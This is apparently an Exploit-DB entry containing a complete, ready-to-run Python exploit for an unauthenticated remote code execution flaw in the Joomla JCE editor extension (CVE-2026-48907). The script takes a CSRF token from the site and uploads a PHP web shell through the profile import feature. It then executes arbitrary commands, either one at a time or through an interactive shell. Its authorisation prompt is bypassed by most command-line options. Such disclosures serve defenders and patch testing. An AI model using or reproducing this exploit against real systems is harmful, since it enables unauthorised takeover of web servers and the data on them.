Joomla 2.9.99.4 - Unauthenticated Remote Code Execution

EDB-ID:

52630




Platform:

Multiple

Date:

2026-08-10


# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution 
# Date: 2026-07-10
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://extensions.joomla.org/extension/jce/
# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
# CVE: CVE-2026-48907
# Description: The JCE (Joomla Content Editor) profile import functionality
# lacks proper authentication and CSRF protections. An unauthenticated
# attacker can upload a crafted XML file containing PHP code; the
# file is stored in the /tmp/ directory and can be accessed via HTTP,
# leading to remote code execution.
#
# Usage examples:
#   python3 exploit.py -u http://example.com --interactive
#   python3 exploit.py -u http://example.com --cmd "id"
#   python3 exploit.py -u http://example.com -v

import re
import sys
import argparse
import requests
from random import randint
from time import sleep
from urllib.parse import urljoin
from rich.console import Console
from rich.text import Text

console = Console()

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class JCEExploit:
    def __init__(self, target_url, proxy=None, verbose=False):
        self.target = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False

        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }

        self.filename = f"jce-{randint(1000, 9999)}.xml.php"
        self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'

    def log(self, msg, level="INFO"):
        if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
            level_style = {
                "INFO": "blue",
                "SUCCESS": "green",
                "ERROR": "red",
                "WARNING": "yellow"
            }
            symbol = {
                "INFO": "[*]",
                "SUCCESS": "[+]",
                "ERROR": "[-]",
                "WARNING": "[!]"
            }.get(level, "[*]")

            text = Text()
            text.append(symbol, style=level_style.get(level, "blue"))
            text.append(f" {msg}")
            console.print(text)

    def get_csrf_token(self):
        try:
            resp = self.session.get(self.target + '/', timeout=10)
            if resp.status_code != 200:
                self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
                return None

            patterns = [
                r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
                r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
                r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
                r'name="([a-f0-9]{32})"\s+value="1"',
            ]

            for pattern in patterns:
                match = re.search(pattern, resp.text, re.I)
                if match:
                    token = match.group(1)
                    self.log(f"CSRF token extracted: {token}", "SUCCESS")
                    return token

            self.log("Could not find CSRF token in the page", "ERROR")
            return None

        except requests.RequestException as e:
            self.log(f"Request failed: {e}", "ERROR")
            return None

    def upload_profile(self, token):
        if not token:
            return False

        endpoint = urljoin(self.target, '/index.php?option=com_jce')

        files = {
            'profile_file': (self.filename, self.payload, 'application/xml')
        }

        data = {
            'task': 'profiles.import',
            token: '1'
        }

        try:
            self.log(f"Uploading malicious file: {self.filename}")
            resp = self.session.post(endpoint, files=files, data=data, timeout=15)

            if resp.status_code != 200:
                self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
                return False

            if 'success' in resp.text and 'true' in resp.text:
                self.log("Profile imported – file written to /tmp/", "SUCCESS")
                return True
            else:
                self.log("Profile import may have failed", "WARNING")
                return False

        except requests.RequestException as e:
            self.log(f"Upload request failed: {e}", "ERROR")
            return False

    def get_webshell_url(self):
        return urljoin(self.target, f'/tmp/{self.filename}')

    def execute_command(self, command):
        if not command:
            return ""
        url = self.get_webshell_url()
        try:
            resp = self.session.get(url, params={'cmd': command}, timeout=10)
            if resp.status_code == 200:
                return resp.text
            else:
                return f"[!] HTTP {resp.status_code} – command may have failed."
        except requests.RequestException as e:
            return f"[!] Request error: {e}"

    def interactive_shell(self):
        self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
        console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
        while True:
            try:
                cmd = console.input("[cyan]$> [/cyan]").strip()
                if cmd.lower() in ('exit', 'quit'):
                    break
                if cmd == "":
                    continue
                output = self.execute_command(cmd)
                print(output)
            except KeyboardInterrupt:
                print("\nExiting.")
                break

    def run(self, command=None, interactive=False):
        self.log(f"Target: {self.target}")
        self.log("Starting CVE-2026-48907 exploitation process")

        token = self.get_csrf_token()
        if not token:
            self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
            return False

        if not self.upload_profile(token):
            self.log("Upload failed – target may be patched.", "ERROR")
            return False

        test_output = self.execute_command("echo JCE_TEST")
        if "JCE_TEST" in test_output:
            self.log("Webshell is active and responding.", "SUCCESS")
        else:
            self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")

        if command:
            self.log(f"Executing command: {command}")
            output = self.execute_command(command)
            print(output)
            return True

        if interactive:
            self.interactive_shell()
        else:
            self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
            self.log(f"Direct webshell URL: {self.get_webshell_url()}")

        return True


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
        epilog='Examples:\n'
               '  python3 exploit.py -u http://target.com --interactive\n'
               '  python3 exploit.py -u http://target.com --cmd "id"\n'
               '  python3 exploit.py -u http://target.com -v'
    )
    parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
    parser.add_argument('--cmd', help='Execute a single command and exit')
    parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')

    args = parser.parse_args()

    banner = Text()
    banner.append("[!] ", style="yellow")
    banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
    banner.append("[!] ", style="yellow")
    banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
    console.print(banner, style="bold")

    if not args.verbose and not args.cmd and not args.interactive:
        confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
        if confirm.lower() != 'y':
            console.print("Exiting.")
            sys.exit(0)

    exploit = JCEExploit(args.url, args.proxy, args.verbose)
    success = exploit.run(command=args.cmd, interactive=args.interactive)

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()